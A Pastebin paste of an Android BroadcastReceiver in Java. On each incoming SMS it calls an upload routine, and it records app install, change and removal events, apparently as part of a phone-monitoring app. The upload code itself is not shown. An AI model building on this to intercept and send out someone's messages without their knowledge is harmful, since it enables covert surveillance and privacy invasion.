Advertisement
Guest User

Untitled

a guest
Feb 20th, 2019
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.39 KB | None | 0 0
  1. class Broadcast_Reciver extends BroadcastReceiver implements Variables {
  2.  
  3. CheckConexion cc;
  4.  
  5. @Override
  6. public void onReceive(Context contxt, Intent intent) {
  7.  
  8. // Cuando hay un evento, lo diferenciamos y hacemos una acción.
  9.  
  10. if (intent.getAction().equals(SMS_RECEIVED)) {
  11. Sms sms = new Sms(null, contxt);
  12. sms.uploadNewSms(intent);
  13. } else if (intent.getAction().equals(Intent.ACTION_BATTERY_LOW)) {
  14. // st.batterylow(contxt);
  15. } else if (intent.getAction().equals(Intent.ACTION_POWER_CONNECTED)) {
  16. // st.power(1, contxt);
  17. } else if (intent.getAction().equals(Intent.ACTION_POWER_DISCONNECTED)) {
  18. // st.power(0, contxt);
  19. } else if (intent.getAction().equals(Intent.ACTION_PACKAGE_ADDED)
  20. || intent.getAction().equals(Intent.ACTION_PACKAGE_CHANGED)
  21. || intent.getAction().equals(Intent.ACTION_PACKAGE_REMOVED)) {
  22. Database db = new Database(contxt);
  23. if (db.open().Preferences(4)) {
  24. Uri data = intent.getData();
  25. new ListApps(contxt).import_app(intent, contxt, data,
  26. intent.getAction());
  27. }
  28. db.close();
  29. } else if (intent.getAction().equals(
  30. ConnectivityManager.CONNECTIVITY_ACTION)) {
  31. cc = new CheckConexion(contxt);
  32. if (cc.isOnline()) {
  33. /*
  34. * Database db = new Database(contxt); if (db.open() != null) {
  35. * if (db.move() == 1) { new UploadOffline(contxt); }
  36. * db.close();
  37. */
  38.  
  39. }
  40. }
  41.  
  42. }
  43. }
  44.  
  45. Broadcast_Reciver r = new Broadcast_Reciver();
  46. IntentFilter i = new IntentFilter();
  47. i.addAction(SMS_RECEIVED);
  48. i.addAction(Intent.ACTION_BATTERY_LOW);
  49. i.addAction(Intent.ACTION_POWER_CONNECTED);
  50. i.addAction(Intent.ACTION_POWER_DISCONNECTED);
  51. i.addAction(Intent.ACTION_CALL_BUTTON);
  52. i.addAction(Intent.ACTION_CAMERA_BUTTON);
  53. i.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
  54. registerReceiver(r, i);
  55. IntentFilter apps = new IntentFilter();
  56. apps.addAction(Intent.ACTION_PACKAGE_ADDED);
  57. apps.addAction(Intent.ACTION_PACKAGE_CHANGED);
  58. apps.addAction(Intent.ACTION_PACKAGE_REMOVED);
  59. apps.addDataScheme("package");
  60. registerReceiver(r, apps);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement